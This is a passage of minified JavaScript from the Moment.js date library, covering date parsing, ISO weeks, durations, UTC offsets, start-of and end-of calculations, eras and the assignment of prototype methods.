t,n,r,i,a,o,s,l,u;null!=(t=e._w).GG||null!=t.W||null!=t.E?(a=1,o=4,n=Rn(t.GG,e._a[Be],Lt(Gn(),1,4).year),r=Rn(t.W,1),((i=Rn(t.E,1))<1||i>7)&&(l=!0)):(a=e._locale._week.dow,o=e._locale._week.doy,u=Lt(Gn(),a,o),n=Rn(t.gg,e._a[Be],u.year),r=Rn(t.w,u.week),null!=t.d?((i=t.d)<0||i>6)&&(l=!0):null!=t.e?(i=t.e+a,(t.e<0||t.e>6)&&(l=!0)):i=a),r<1||r>kt(n,a,o)?y(e)._overflowWeeks=!0:null!=l?y(e)._overflowWeekday=!0:(s=Mt(n,r,i,a,o),e._a[Be]=s.year,e._dayOfYear=s.dayOfYear)}function $n(e){if(e._f!==i.ISO_8601)if(e._f!==i.RFC_2822){e._a=[],y(e).empty=!0;var t,n,r,a,o,s,l=""+e._i,u=l.length,c=0;for(r=q(e._f,e._locale).match(R)||[],t=0;t<r.length;t++)a=r[t],(n=(l.match(Ae(a,e))||[])[0])&&((o=l.substr(0,l.indexOf(n))).length>0&&y(e).unusedInput.push(o),l=l.slice(l.indexOf(n)+n.length),c+=n.length),N[a]?(n?y(e).empty=!1:y(e).unusedTokens.push(a),Fe(a,n,e)):e._strict&&!n&&y(e).unusedTokens.push(a);y(e).charsLeftOver=u-c,l.length>0&&y(e).unusedInput.push(l),e._a[Je]<=12&&!0===y(e).bigHour&&e._a[Je]>0&&(y(e).bigHour=void 0),y(e).parsedDateParts=e._a.slice(0),y(e).meridiem=e._meridiem,e._a[Je]=Fn(e._locale,e._a[Je],e._meridiem),null!==(s=y(e).era)&&(e._a[Be]=e._locale.erasConvertYear(s,e._a[Be])),Wn(e),bn(e)}else Pn(e);else Sn(e)}function Fn(e,t,n){var r;return null==n?t:null!=e.meridiemHour?e.meridiemHour(t,n):null!=e.isPM?((r=e.isPM(n))&&t<12&&(t+=12),r||12!==t||(t=0),t):t}function zn(e){var t,n,r,i,a,o,s=!1;if(0===e._f.length)return y(e).invalidFormat=!0,void(e._d=new Date(NaN));for(i=0;i<e._f.length;i++)a=0,o=!1,t=M({},e),null!=e._useUTC&&(t._useUTC=e._useUTC),t._f=e._f[i],$n(t),g(t)&&(o=!0),a+=y(t).charsLeftOver,a+=10*y(t).unusedTokens.length,y(t).score=a,s?a<r&&(r=a,n=t):(null==r||a<r||o)&&(r=a,n=t,o&&(s=!0));m(e,n||t)}function Bn(e){if(!e._d){var t=ae(e._i),n=void 0===t.day?t.date:t.day;e._a=h([t.year,t.month,n,t.hour,t.minute,t.second,t.millisecond],(function(e){return e&&parseInt(e,10)})),Wn(e)}}function qn(e){var t=new L(bn(Un(e)));return t._nextDay&&(t.add(1,"d"),t._nextDay=void 0),t}function Un(e){var t=e._i,n=e._f;return e._locale=e._locale||gn(e._l),null===t||void 0===n&&""===t?v({nullInput:!0}):("string"==typeof t&&(e._i=t=e._locale.preparse(t)),k(t)?new L(bn(t)):(f(t)?e._d=t:o(n)?zn(e):n?$n(e):Jn(e),g(e)||(e._d=null),e))}function Jn(e){var t=e._i;c(t)?e._d=new Date(i.now()):f(t)?e._d=new Date(t.valueOf()):"string"==typeof t?An(e):o(t)?(e._a=h(t.slice(0),(function(e){return parseInt(e,10)})),Wn(e)):s(t)?Bn(e):d(t)?e._d=new Date(t):i.createFromInputFallback(e)}function Vn(e,t,n,r,i){var a={};return!0!==t&&!1!==t||(r=t,t=void 0),!0!==n&&!1!==n||(r=n,n=void 0),(s(e)&&u(e)||o(e)&&0===e.length)&&(e=void 0),a._isAMomentObject=!0,a._useUTC=a._isUTC=i,a._l=n,a._i=e,a._f=t,a._strict=r,qn(a)}function Gn(e,t,n,r){return Vn(e,t,n,r,!1)}i.createFromInputFallback=D("value provided is not in a recognized RFC2822 or ISO format. moment construction falls back to js Date(), which is not reliable across all browsers and versions. Non RFC2822/ISO date formats are discouraged. Please refer to http://momentjs.com/guides/#/warnings/js-date/ for more info.",(function(e){e._d=new Date(e._i+(e._useUTC?" UTC":""))})),i.ISO_8601=function(){},i.RFC_2822=function(){};var Kn=D("moment().min is deprecated, use moment.max instead. http://momentjs.com/guides/#/warnings/min-max/",(function(){var e=Gn.apply(null,arguments);return this.isValid()&&e.isValid()?e<this?this:e:v()})),Zn=D("moment().max is deprecated, use moment.min instead. http://momentjs.com/guides/#/warnings/min-max/",(function(){var e=Gn.apply(null,arguments);return this.isValid()&&e.isValid()?e>this?this:e:v()}));function Xn(e,t){var n,r;if(1===t.length&&o(t[0])&&(t=t[0]),!t.length)return Gn();for(n=t[0],r=1;r<t.length;++r)t[r].isValid()&&!t[r][e](n)||(n=t[r]);return n}function Qn(){return Xn("isBefore",[].slice.call(arguments,0))}function er(){return Xn("isAfter",[].slice.call(arguments,0))}var tr=function(){return Date.now?Date.now():+new Date},nr=["year","quarter","month","week","day","hour","minute","second","millisecond"];function rr(e){var t,n,r=!1;for(t in e)if(l(e,t)&&(-1===ze.call(nr,t)||null!=e[t]&&isNaN(e[t])))return!1;for(n=0;n<nr.length;++n)if(e[nr[n]]){if(r)return!1;parseFloat(e[nr[n]])!==de(e[nr[n]])&&(r=!0)}return!0}function ir(){return this._isValid}function ar(){return xr(NaN)}function or(e){var t=ae(e),n=t.year||0,r=t.quarter||0,i=t.month||0,a=t.week||t.isoWeek||0,o=t.day||0,s=t.hour||0,l=t.minute||0,u=t.second||0,c=t.millisecond||0;this._isValid=rr(t),this._milliseconds=+c+1e3*u+6e4*l+1e3*s*60*60,this._days=+o+7*a,this._months=+i+3*r+12*n,this._data={},this._locale=gn(),this._bubble()}function sr(e){return e instanceof or}function lr(e){return e<0?-1*Math.round(-1*e):Math.round(e)}function ur(e,t,n){var r,i=Math.min(e.length,t.length),a=Math.abs(e.length-t.length),o=0;for(r=0;r<i;r++)(n&&e[r]!==t[r]||!n&&de(e[r])!==de(t[r]))&&o++;return o+a}function cr(e,t){$(e,0,0,(function(){var e=this.utcOffset(),n="+";return e<0&&(e=-e,n="-"),n+A(~~(e/60),2)+t+A(~~e%60,2)}))}cr("Z",":"),cr("ZZ",""),Pe("Z",Ce),Pe("ZZ",Ce),Ne(["Z","ZZ"],(function(e,t,n){n._useUTC=!0,n._tzm=fr(Ce,e)}));var dr=/([\+\-]|\d\d)/gi;function fr(e,t){var n,r,i=(t||"").match(e);return null===i?null:0===(r=60*(n=((i[i.length-1]||[])+"").match(dr)||["-",0,0])[1]+de(n[2]))?0:"+"===n[0]?r:-r}function hr(e,t){var n,r;return t._isUTC?(n=t.clone(),r=(k(e)||f(e)?e.valueOf():Gn(e).valueOf())-n.valueOf(),n._d.setTime(n._d.valueOf()+r),i.updateOffset(n,!1),n):Gn(e).local()}function mr(e){return-Math.round(e._d.getTimezoneOffset())}function pr(e,t,n){var r,a=this._offset||0;if(!this.isValid())return null!=e?this:NaN;if(null!=e){if("string"==typeof e){if(null===(e=fr(Ce,e)))return this}else Math.abs(e)<16&&!n&&(e*=60);return!this._isUTC&&t&&(r=mr(this)),this._offset=e,this._isUTC=!0,null!=r&&this.add(r,"m"),a!==e&&(!t||this._changeInProgress?Hr(this,xr(e-a,"m"),1,!1):this._changeInProgress||(this._changeInProgress=!0,i.updateOffset(this,!0),this._changeInProgress=null)),this}return this._isUTC?a:mr(this)}function _r(e,t){return null!=e?("string"!=typeof e&&(e=-e),this.utcOffset(e,t),this):-this.utcOffset()}function yr(e){return this.utcOffset(0,e)}function gr(e){return this._isUTC&&(this.utcOffset(0,e),this._isUTC=!1,e&&this.subtract(mr(this),"m")),this}function vr(){if(null!=this._tzm)this.utcOffset(this._tzm,!1,!0);else if("string"==typeof this._i){var e=fr(Oe,this._i);null!=e?this.utcOffset(e):this.utcOffset(0,!0)}return this}function br(e){return!!this.isValid()&&(e=e?Gn(e).utcOffset():0,(this.utcOffset()-e)%60==0)}function wr(){return this.utcOffset()>this.clone().month(0).utcOffset()||this.utcOffset()>this.clone().month(5).utcOffset()}function Mr(){if(!c(this._isDSTShifted))return this._isDSTShifted;var e,t={};return M(t,this),(t=Un(t))._a?(e=t._isUTC?p(t._a):Gn(t._a),this._isDSTShifted=this.isValid()&&ur(t._a,e.toArray())>0):this._isDSTShifted=!1,this._isDSTShifted}function Lr(){return!!this.isValid()&&!this._isUTC}function kr(){return!!this.isValid()&&this._isUTC}function Yr(){return!!this.isValid()&&this._isUTC&&0===this._offset}i.updateOffset=function(){};var Dr=/^(-|\+)?(?:(\d*)[. ])?(\d+):(\d+)(?::(\d+)(\.\d*)?)?$/,Tr=/^(-|\+)?P(?:([-+]?[0-9,.]*)Y)?(?:([-+]?[0-9,.]*)M)?(?:([-+]?[0-9,.]*)W)?(?:([-+]?[0-9,.]*)D)?(?:T(?:([-+]?[0-9,.]*)H)?(?:([-+]?[0-9,.]*)M)?(?:([-+]?[0-9,.]*)S)?)?$/;function xr(e,t){var n,r,i,a=e,o=null;return sr(e)?a={ms:e._milliseconds,d:e._days,M:e._months}:d(e)||!isNaN(+e)?(a={},t?a[t]=+e:a.milliseconds=+e):(o=Dr.exec(e))?(n="-"===o[1]?-1:1,a={y:0,d:de(o[Ue])*n,h:de(o[Je])*n,m:de(o[Ve])*n,s:de(o[Ge])*n,ms:de(lr(1e3*o[Ke]))*n}):(o=Tr.exec(e))?(n="-"===o[1]?-1:1,a={y:Sr(o[2],n),M:Sr(o[3],n),w:Sr(o[4],n),d:Sr(o[5],n),h:Sr(o[6],n),m:Sr(o[7],n),s:Sr(o[8],n)}):null==a?a={}:"object"==typeof a&&("from"in a||"to"in a)&&(i=Or(Gn(a.from),Gn(a.to)),(a={}).ms=i.milliseconds,a.M=i.months),r=new or(a),sr(e)&&l(e,"_locale")&&(r._locale=e._locale),sr(e)&&l(e,"_isValid")&&(r._isValid=e._isValid),r}function Sr(e,t){var n=e&&parseFloat(e.replace(",","."));return(isNaN(n)?0:n)*t}function jr(e,t){var n={};return n.months=t.month()-e.month()+12*(t.year()-e.year()),e.clone().add(n.months,"M").isAfter(t)&&--n.months,n.milliseconds=+t-+e.clone().add(n.months,"M"),n}function Or(e,t){var n;return e.isValid()&&t.isValid()?(t=hr(t,e),e.isBefore(t)?n=jr(e,t):((n=jr(t,e)).milliseconds=-n.milliseconds,n.months=-n.months),n):{milliseconds:0,months:0}}function Cr(e,t){return function(n,r){var i;return null===r||isNaN(+r)||(S(t,"moment()."+t+"(period, number) is deprecated. Please use moment()."+t+"(number, period). See http://momentjs.com/guides/#/warnings/add-inverted-param/ for more info."),i=n,n=r,r=i),Hr(this,xr(n,r),e),this}}function Hr(e,t,n,r){var a=t._milliseconds,o=lr(t._days),s=lr(t._months);e.isValid()&&(r=null==r||r,s&&ct(e,he(e,"Month")+s*n),o&&me(e,"Date",he(e,"Date")+o*n),a&&e._d.setTime(e._d.valueOf()+a*n),r&&i.updateOffset(e,o||s))}xr.fn=or.prototype,xr.invalid=ar;var Er=Cr(1,"add"),Pr=Cr(-1,"subtract");function Ar(e){return"string"==typeof e||e instanceof String}function Rr(e){return k(e)||f(e)||Ar(e)||d(e)||Wr(e)||Ir(e)||null==e}function Ir(e){var t,n,r=s(e)&&!u(e),i=!1,a=["years","year","y","months","month","M","days","day","d","dates","date","D","hours","hour","h","minutes","minute","m","seconds","second","s","milliseconds","millisecond","ms"];for(t=0;t<a.length;t+=1)n=a[t],i=i||l(e,n);return r&&i}function Wr(e){var t=o(e),n=!1;return t&&(n=0===e.filter((function(t){return!d(t)&&Ar(e)})).length),t&&n}function Nr(e){var t,n,r=s(e)&&!u(e),i=!1,a=["sameDay","nextDay","lastDay","nextWeek","lastWeek","sameElse"];for(t=0;t<a.length;t+=1)n=a[t],i=i||l(e,n);return r&&i}function $r(e,t){var n=e.diff(t,"days",!0);return n<-6?"sameElse":n<-1?"lastWeek":n<0?"lastDay":n<1?"sameDay":n<2?"nextDay":n<7?"nextWeek":"sameElse"}function Fr(e,t){1===arguments.length&&(arguments[0]?Rr(arguments[0])?(e=arguments[0],t=void 0):Nr(arguments[0])&&(t=arguments[0],e=void 0):(e=void 0,t=void 0));var n=e||Gn(),r=hr(n,this).startOf("day"),a=i.calendarFormat(this,r)||"sameElse",o=t&&(j(t[a])?t[a].call(this,n):t[a]);return this.format(o||this.localeData().calendar(a,this,Gn(n)))}function zr(){return new L(this)}function Br(e,t){var n=k(e)?e:Gn(e);return!(!this.isValid()||!n.isValid())&&("millisecond"===(t=ie(t)||"millisecond")?this.valueOf()>n.valueOf():n.valueOf()<this.clone().startOf(t).valueOf())}function qr(e,t){var n=k(e)?e:Gn(e);return!(!this.isValid()||!n.isValid())&&("millisecond"===(t=ie(t)||"millisecond")?this.valueOf()<n.valueOf():this.clone().endOf(t).valueOf()<n.valueOf())}function Ur(e,t,n,r){var i=k(e)?e:Gn(e),a=k(t)?t:Gn(t);return!!(this.isValid()&&i.isValid()&&a.isValid())&&("("===(r=r||"()")[0]?this.isAfter(i,n):!this.isBefore(i,n))&&(")"===r[1]?this.isBefore(a,n):!this.isAfter(a,n))}function Jr(e,t){var n,r=k(e)?e:Gn(e);return!(!this.isValid()||!r.isValid())&&("millisecond"===(t=ie(t)||"millisecond")?this.valueOf()===r.valueOf():(n=r.valueOf(),this.clone().startOf(t).valueOf()<=n&&n<=this.clone().endOf(t).valueOf()))}function Vr(e,t){return this.isSame(e,t)||this.isAfter(e,t)}function Gr(e,t){return this.isSame(e,t)||this.isBefore(e,t)}function Kr(e,t,n){var r,i,a;if(!this.isValid())return NaN;if(!(r=hr(e,this)).isValid())return NaN;switch(i=6e4*(r.utcOffset()-this.utcOffset()),t=ie(t)){case"year":a=Zr(this,r)/12;break;case"month":a=Zr(this,r);break;case"quarter":a=Zr(this,r)/3;break;case"second":a=(this-r)/1e3;break;case"minute":a=(this-r)/6e4;break;case"hour":a=(this-r)/36e5;break;case"day":a=(this-r-i)/864e5;break;case"week":a=(this-r-i)/6048e5;break;default:a=this-r}return n?a:ce(a)}function Zr(e,t){if(e.date()<t.date())return-Zr(t,e);var n=12*(t.year()-e.year())+(t.month()-e.month()),r=e.clone().add(n,"months");return-(n+(t-r<0?(t-r)/(r-e.clone().add(n-1,"months")):(t-r)/(e.clone().add(n+1,"months")-r)))||0}function Xr(){return this.clone().locale("en").format("ddd MMM DD YYYY HH:mm:ss [GMT]ZZ")}function Qr(e){if(!this.isValid())return null;var t=!0!==e,n=t?this.clone().utc():this;return n.year()<0||n.year()>9999?B(n,t?"YYYYYY-MM-DD[T]HH:mm:ss.SSS[Z]":"YYYYYY-MM-DD[T]HH:mm:ss.SSSZ"):j(Date.prototype.toISOString)?t?this.toDate().toISOString():new Date(this.valueOf()+60*this.utcOffset()*1e3).toISOString().replace("Z",B(n,"Z")):B(n,t?"YYYY-MM-DD[T]HH:mm:ss.SSS[Z]":"YYYY-MM-DD[T]HH:mm:ss.SSSZ")}function ei(){if(!this.isValid())return"moment.invalid(/* "+this._i+" */)";var e,t,n,r,i="moment",a="";return this.isLocal()||(i=0===this.utcOffset()?"moment.utc":"moment.parseZone",a="Z"),e="["+i+'("]',t=0<=this.year()&&this.year()<=9999?"YYYY":"YYYYYY",n="-MM-DD[T]HH:mm:ss.SSS",r=a+'[")]',this.format(e+t+n+r)}function ti(e){e||(e=this.isUtc()?i.defaultFormatUtc:i.defaultFormat);var t=B(this,e);return this.localeData().postformat(t)}function ni(e,t){return this.isValid()&&(k(e)&&e.isValid()||Gn(e).isValid())?xr({to:this,from:e}).locale(this.locale()).humanize(!t):this.localeData().invalidDate()}function ri(e){return this.from(Gn(),e)}function ii(e,t){return this.isValid()&&(k(e)&&e.isValid()||Gn(e).isValid())?xr({from:this,to:e}).locale(this.locale()).humanize(!t):this.localeData().invalidDate()}function ai(e){return this.to(Gn(),e)}function oi(e){var t;return void 0===e?this._locale._abbr:(null!=(t=gn(e))&&(this._locale=t),this)}i.defaultFormat="YYYY-MM-DDTHH:mm:ssZ",i.defaultFormatUtc="YYYY-MM-DDTHH:mm:ss[Z]";var si=D("moment().lang() is deprecated. Instead, use moment().localeData() to get the language configuration. Use moment().locale() to change languages.",(function(e){return void 0===e?this.localeData():this.locale(e)}));function li(){return this._locale}var ui=1e3,ci=60*ui,di=60*ci,fi=3506328*di;function hi(e,t){return(e%t+t)%t}function mi(e,t,n){return e<100&&e>=0?new Date(e+400,t,n)-fi:new Date(e,t,n).valueOf()}function pi(e,t,n){return e<100&&e>=0?Date.UTC(e+400,t,n)-fi:Date.UTC(e,t,n)}function _i(e){var t,n;if(void 0===(e=ie(e))||"millisecond"===e||!this.isValid())return this;switch(n=this._isUTC?pi:mi,e){case"year":t=n(this.year(),0,1);break;case"quarter":t=n(this.year(),this.month()-this.month()%3,1);break;case"month":t=n(this.year(),this.month(),1);break;case"week":t=n(this.year(),this.month(),this.date()-this.weekday());break;case"isoWeek":t=n(this.year(),this.month(),this.date()-(this.isoWeekday()-1));break;case"day":case"date":t=n(this.year(),this.month(),this.date());break;case"hour":t=this._d.valueOf(),t-=hi(t+(this._isUTC?0:this.utcOffset()*ci),di);break;case"minute":t=this._d.valueOf(),t-=hi(t,ci);break;case"second":t=this._d.valueOf(),t-=hi(t,ui)}return this._d.setTime(t),i.updateOffset(this,!0),this}function yi(e){var t,n;if(void 0===(e=ie(e))||"millisecond"===e||!this.isValid())return this;switch(n=this._isUTC?pi:mi,e){case"year":t=n(this.year()+1,0,1)-1;break;case"quarter":t=n(this.year(),this.month()-this.month()%3+3,1)-1;break;case"month":t=n(this.year(),this.month()+1,1)-1;break;case"week":t=n(this.year(),this.month(),this.date()-this.weekday()+7)-1;break;case"isoWeek":t=n(this.year(),this.month(),this.date()-(this.isoWeekday()-1)+7)-1;break;case"day":case"date":t=n(this.year(),this.month(),this.date()+1)-1;break;case"hour":t=this._d.valueOf(),t+=di-hi(t+(this._isUTC?0:this.utcOffset()*ci),di)-1;break;case"minute":t=this._d.valueOf(),t+=ci-hi(t,ci)-1;break;case"second":t=this._d.valueOf(),t+=ui-hi(t,ui)-1}return this._d.setTime(t),i.updateOffset(this,!0),this}function gi(){return this._d.valueOf()-6e4*(this._offset||0)}function vi(){return Math.floor(this.valueOf()/1e3)}function bi(){return new Date(this.valueOf())}function wi(){var e=this;return[e.year(),e.month(),e.date(),e.hour(),e.minute(),e.second(),e.millisecond()]}function Mi(){var e=this;return{years:e.year(),months:e.month(),date:e.date(),hours:e.hours(),minutes:e.minutes(),seconds:e.seconds(),milliseconds:e.milliseconds()}}function Li(){return this.isValid()?this.toISOString():null}function ki(){return g(this)}function Yi(){return m({},y(this))}function Di(){return y(this).overflow}function Ti(){return{input:this._i,format:this._f,locale:this._locale,isUTC:this._isUTC,strict:this._strict}}function xi(e,t){var n,r,a,o=this._eras||gn("en")._eras;for(n=0,r=o.length;n<r;++n){switch(typeof o[n].since){case"string":a=i(o[n].since).startOf("day"),o[n].since=a.valueOf()}switch(typeof o[n].until){case"undefined":o[n].until=1/0;break;case"string":a=i(o[n].until).startOf("day").valueOf(),o[n].until=a.valueOf()}}return o}function Si(e,t,n){var r,i,a,o,s,l=this.eras();for(e=e.toUpperCase(),r=0,i=l.length;r<i;++r)if(a=l[r].name.toUpperCase(),o=l[r].abbr.toUpperCase(),s=l[r].narrow.toUpperCase(),n)switch(t){case"N":case"NN":case"NNN":if(o===e)return l[r];break;case"NNNN":if(a===e)return l[r];break;case"NNNNN":if(s===e)return l[r]}else if([a,o,s].indexOf(e)>=0)return l[r]}function ji(e,t){var n=e.since<=e.until?1:-1;return void 0===t?i(e.since).year():i(e.since).year()+(t-e.offset)*n}function Oi(){var e,t,n,r=this.localeData().eras();for(e=0,t=r.length;e<t;++e){if(n=this.clone().startOf("day").valueOf(),r[e].since<=n&&n<=r[e].until)return r[e].name;if(r[e].until<=n&&n<=r[e].since)return r[e].name}return""}function Ci(){var e,t,n,r=this.localeData().eras();for(e=0,t=r.length;e<t;++e){if(n=this.clone().startOf("day").valueOf(),r[e].since<=n&&n<=r[e].until)return r[e].narrow;if(r[e].until<=n&&n<=r[e].since)return r[e].narrow}return""}function Hi(){var e,t,n,r=this.localeData().eras();for(e=0,t=r.length;e<t;++e){if(n=this.clone().startOf("day").valueOf(),r[e].since<=n&&n<=r[e].until)return r[e].abbr;if(r[e].until<=n&&n<=r[e].since)return r[e].abbr}return""}function Ei(){var e,t,n,r,a=this.localeData().eras();for(e=0,t=a.length;e<t;++e)if(n=a[e].since<=a[e].until?1:-1,r=this.clone().startOf("day").valueOf(),a[e].since<=r&&r<=a[e].until||a[e].until<=r&&r<=a[e].since)return(this.year()-i(a[e].since).year())*n+a[e].offset;return this.year()}function Pi(e){return l(this,"_erasNameRegex")||Fi.call(this),e?this._erasNameRegex:this._erasRegex}function Ai(e){return l(this,"_erasAbbrRegex")||Fi.call(this),e?this._erasAbbrRegex:this._erasRegex}function Ri(e){return l(this,"_erasNarrowRegex")||Fi.call(this),e?this._erasNarrowRegex:this._erasRegex}function Ii(e,t){return t.erasAbbrRegex(e)}function Wi(e,t){return t.erasNameRegex(e)}function Ni(e,t){return t.erasNarrowRegex(e)}function $i(e,t){return t._eraYearOrdinalRegex||Se}function Fi(){var e,t,n=[],r=[],i=[],a=[],o=this.eras();for(e=0,t=o.length;e<t;++e)r.push(Ie(o[e].name)),n.push(Ie(o[e].abbr)),i.push(Ie(o[e].narrow)),a.push(Ie(o[e].name)),a.push(Ie(o[e].abbr)),a.push(Ie(o[e].narrow));this._erasRegex=new RegExp("^("+a.join("|")+")","i"),this._erasNameRegex=new RegExp("^("+r.join("|")+")","i"),this._erasAbbrRegex=new RegExp("^("+n.join("|")+")","i"),this._erasNarrowRegex=new RegExp("^("+i.join("|")+")","i")}function zi(e,t){$(0,[e,e.length],0,t)}function Bi(e){return Ki.call(this,e,this.week(),this.weekday(),this.localeData()._week.dow,this.localeData()._week.doy)}function qi(e){return Ki.call(this,e,this.isoWeek(),this.isoWeekday(),1,4)}function Ui(){return kt(this.year(),1,4)}function Ji(){return kt(this.isoWeekYear(),1,4)}function Vi(){var e=this.localeData()._week;return kt(this.year(),e.dow,e.doy)}function Gi(){var e=this.localeData()._week;return kt(this.weekYear(),e.dow,e.doy)}function Ki(e,t,n,r,i){var a;return null==e?Lt(this,r,i).year:(t>(a=kt(e,r,i))&&(t=a),Zi.call(this,e,t,n,r,i))}function Zi(e,t,n,r,i){var a=Mt(e,t,n,r,i),o=bt(a.year,0,a.dayOfYear);return this.year(o.getUTCFullYear()),this.month(o.getUTCMonth()),this.date(o.getUTCDate()),this}function Xi(e){return null==e?Math.ceil((this.month()+1)/3):this.month(3*(e-1)+this.month()%3)}$("N",0,0,"eraAbbr"),$("NN",0,0,"eraAbbr"),$("NNN",0,0,"eraAbbr"),$("NNNN",0,0,"eraName"),$("NNNNN",0,0,"eraNarrow"),$("y",["y",1],"yo","eraYear"),$("y",["yy",2],0,"eraYear"),$("y",["yyy",3],0,"eraYear"),$("y",["yyyy",4],0,"eraYear"),Pe("N",Ii),Pe("NN",Ii),Pe("NNN",Ii),Pe("NNNN",Wi),Pe("NNNNN",Ni),Ne(["N","NN","NNN","NNNN","NNNNN"],(function(e,t,n,r){var i=n._locale.erasParse(e,r,n._strict);i?y(n).era=i:y(n).invalidEra=e})),Pe("y",Se),Pe("yy",Se),Pe("yyy",Se),Pe("yyyy",Se),Pe("yo",$i),Ne(["y","yy","yyy","yyyy"],Be),Ne(["yo"],(function(e,t,n,r){var i;n._locale._eraYearOrdinalRegex&&(i=e.match(n._locale._eraYearOrdinalRegex)),n._locale.eraYearOrdinalParse?t[Be]=n._locale.eraYearOrdinalParse(e,i):t[Be]=parseInt(e,10)})),$(0,["gg",2],0,(function(){return this.weekYear()%100})),$(0,["GG",2],0,(function(){return this.isoWeekYear()%100})),zi("gggg","weekYear"),zi("ggggg","weekYear"),zi("GGGG","isoWeekYear"),zi("GGGGG","isoWeekYear"),re("weekYear","gg"),re("isoWeekYear","GG"),se("weekYear",1),se("isoWeekYear",1),Pe("G",je),Pe("g",je),Pe("GG",Le,ve),Pe("gg",Le,ve),Pe("GGGG",Te,we),Pe("gggg",Te,we),Pe("GGGGG",xe,Me),Pe("ggggg",xe,Me),$e(["gggg","ggggg","GGGG","GGGGG"],(function(e,t,n,r){t[r.substr(0,2)]=de(e)})),$e(["gg","GG"],(function(e,t,n,r){t[r]=i.parseTwoDigitYear(e)})),$("Q",0,"Qo","quarter"),re("quarter","Q"),se("quarter",7),Pe("Q",ge),Ne("Q",(function(e,t){t[qe]=3*(de(e)-1)})),$("D",["DD",2],"Do","date"),re("date","D"),se("date",9),Pe("D",Le),Pe("DD",Le,ve),Pe("Do",(function(e,t){return e?t._dayOfMonthOrdinalParse||t._ordinalParse:t._dayOfMonthOrdinalParseLenient})),Ne(["D","DD"],Ue),Ne("Do",(function(e,t){t[Ue]=de(e.match(Le)[0])}));var Qi=fe("Date",!0);function ea(e){var t=Math.round((this.clone().startOf("day")-this.clone().startOf("year"))/864e5)+1;return null==e?t:this.add(e-t,"d")}$("DDD",["DDDD",3],"DDDo","dayOfYear"),re("dayOfYear","DDD"),se("dayOfYear",4),Pe("DDD",De),Pe("DDDD",be),Ne(["DDD","DDDD"],(function(e,t,n){n._dayOfYear=de(e)})),$("m",["mm",2],0,"minute"),re("minute","m"),se("minute",14),Pe("m",Le),Pe("mm",Le,ve),Ne(["m","mm"],Ve);var ta=fe("Minutes",!1);$("s",["ss",2],0,"second"),re("second","s"),se("second",15),Pe("s",Le),Pe("ss",Le,ve),Ne(["s","ss"],Ge);var na,ra,ia=fe("Seconds",!1);for($("S",0,0,(function(){return~~(this.millisecond()/100)})),$(0,["SS",2],0,(function(){return~~(this.millisecond()/10)})),$(0,["SSS",3],0,"millisecond"),$(0,["SSSS",4],0,(function(){return 10*this.millisecond()})),$(0,["SSSSS",5],0,(function(){return 100*this.millisecond()})),$(0,["SSSSSS",6],0,(function(){return 1e3*this.millisecond()})),$(0,["SSSSSSS",7],0,(function(){return 1e4*this.millisecond()})),$(0,["SSSSSSSS",8],0,(function(){return 1e5*this.millisecond()})),$(0,["SSSSSSSSS",9],0,(function(){return 1e6*this.millisecond()})),re("millisecond","ms"),se("millisecond",16),Pe("S",De,ge),Pe("SS",De,ve),Pe("SSS",De,be),na="SSSS";na.length<=9;na+="S")Pe(na,Se);function aa(e,t){t[Ke]=de(1e3*("0."+e))}for(na="S";na.length<=9;na+="S")Ne(na,aa);function oa(){return this._isUTC?"UTC":""}function sa(){return this._isUTC?"Coordinated Universal Time":""}ra=fe("Milliseconds",!1),$("z",0,0,"zoneAbbr"),$("zz",0,0,"zoneName");var la=L.prototype;function ua(e){return Gn(1e3*e)}function ca(){return Gn.apply(null,arguments).parseZone()}function da(e){return e}la.add=Er,la.calendar=Fr,la.clone=zr,la.diff=Kr,la.endOf=yi,la.format=ti,la.from=ni,la.fromNow=ri,la.to=ii,la.toNow=ai,la.get=pe,la.invalidAt=Di,la.isAfter=Br,la.isBefore=qr,la.isBetween=Ur,la.isSame=Jr,la.isSameOrAfter=Vr,la.isSameOrBefore=Gr,la.isValid=ki,la.lang=si,la.locale=oi,la.localeData=li,la.max=Zn,la.min=Kn,la.parsingFlags=Yi,la.set=_e,la.startOf=_i,la.subtract=Pr,la.toArray=wi,la.toObject=Mi,la.toDate=bi,la.toISOString=Qr,la.inspect=ei,"undefined"!=typeof Symbol&&null!=Symbol.for&&(la[Symbol.for("nodejs.util.inspect.custom")]=function(){return"Moment<"+this.format()+">"}),la.toJSON=Li,la.toString=Xr,la.unix=vi,la.valueOf=gi,la.creationData=Ti,la.eraName=Oi,la.eraNarrow=Ci,la.eraAbbr=Hi,la.eraYear=Ei,la.year=yt,la.isLeapYear=gt,la.weekYear=Bi,la.isoWeekYear=qi,la.quarter=la.quarters=Xi,la.month=dt,la.daysInMonth=ft,la.week=la.weeks=St,la.isoWeek=la.isoWeeks=jt,la.weeksInYear=Vi,la.weeksInWeekYear=Gi,la.isoWeeksInYear=Ui,la.isoWeeksInISOWeekYear=Ji,la.date=Qi,la.day=la.days=qt,la.weekday=Ut,la.isoWeekday=Jt,la.dayOfYear=ea,la.hour=la.hours=an,la.minute=la.minutes=ta,la.second=la.seconds=ia,la.millisecond=la.milliseconds=ra,la.utcOffset=pr,la.utc=yr,la.local=gr,la.parseZone=vr,la.hasAlignedHourOffset=br,la.isDST=wr,la.isLocal=Lr,la.isUtcOffset=kr,la.isUtc=Yr,la.isUTC=Yr,la.zoneAbbr=oa,la.zoneName=sa,la.dates=D("dates accessor is deprecated. Use date instead.",Qi),la.months=D("months accessor is deprecated. Use month instead",dt),la.years=D("years accessor is deprecated. Use year instead",yt),la.zone=D("moment().zone is deprecated, use moment().utcOffset instead. http://momentjs.com/guides/#/warnings/zone/",_r),la.isDSTShifted=D("isDSTShifted is deprecated. See http://momentjs.com/guides/#/warnings/dst-shifted/ for more information",Mr);var fa=H.prototype;function ha(e,t,n,r){var i=gn(),a=p().set(r,t);return i[n](a,e)}function ma(e,t,n){if(d(e)&&(t=e,e=void 0),e=e||"",null!=t)return ha(e,t,n,"month");var r,i=[];for(r=0;r<12;r++)i[r]=ha(e,r,n,"month");return i}function pa(e,t,n,r){"boolean"==typeof e?(d(t)&&(n=t,t=void 0),t=t||""):(n=t=e,e=!1,d(t)&&(n=t,t=void 0),t=t||"");var i,a=gn(),o=e?a._week.dow:0,s=[];if(null!=n)return ha(t,(n+o)%7,r,"day");for(i=0;i<7;i++)s[i]=ha(t,(i+o)%7,r,"day");return s}function _a(e,t){return ma(e,t,"months")}function ya(e,t){return ma(e,t,"monthsShort")}function ga(e,t,n){return pa(e,t,n,"weekdays")}function va(e,t,n){return pa(e,t,n,"weekdaysShort")}function ba(e,t,n){return 